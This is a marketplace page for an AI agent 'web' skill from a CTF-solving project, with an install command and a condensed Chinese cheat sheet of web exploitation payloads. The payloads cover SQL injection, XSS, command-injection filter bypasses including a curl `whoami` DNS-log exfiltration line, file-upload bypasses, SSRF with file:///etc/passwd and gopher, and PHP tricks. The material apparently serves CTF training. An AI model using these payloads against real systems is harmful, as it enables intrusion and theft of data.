Menu
Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.
Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.
Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
npx skills add https://github.com/MuWinds/BUUCTF_Agent --skill webO comando permanece em uma só linha. Role horizontalmente para revisá-lo antes de copiar.
Prefere uma cópia local? Baixe os arquivos disponíveis atualmente no SkillsMP.
Baseado na classificação ocupacional SOC
Exibindo SKILL.md
| name | web |
| description | Web 安全攻防技术，包括 SQL 注入、XSS、文件上传、命令注入、SSRF、反序列化等常见漏洞的识别与利用。 |
| tags | ["sql-injection","xss","file-upload","command-injection","ssrf","deserialization","php"] |
ORDER BY 确定列数 -> UNION SELECT 提取数据AND 1=1/AND 1=2，时间盲注 SLEEP()/BENCHMARK()--batch --dbs --current-user/**/、双重编码、HPP 参数污染/*!50000select*/、%0a 换行、<> 替代空格<>\"'/ 过滤情况document.location、innerHTML 等 DOM 操作<img onerror=alert(1)>、<svg onload=alert(1)>、编码绕过;、&&、||、|、\n、`$IFS、{cmd,arg}、%09、< 重定向a=fl;b=ag;cat $a$b、通配符 cat /fl*、base64 编码curl \whoami`.xxx.dnslog.cn`、时间盲注Content-Type 为 image/png.php5、.phtml、.pht、.php.jpg（Apache 解析漏洞）GIF89a 或 PNG 文件头.htaccess 添加自定义解析规则file:///etc/passwd、dict://、gopher://http://127.0.0.1:端口、http://192.168.x.x@ 符号 http://attacker.com@127.0.0.1、进制转换 0x7f000001、IPv6 [::1]== 比较时 "0e123" == "0e456" 为 Truephp://filter/convert.base64-encode/resource=、php://input__construct、__destruct、__wakeup、__toString 魔术方法extract()、parse_str()、$$var../ 目录穿越、%00 截断（PHP < 5.3.4）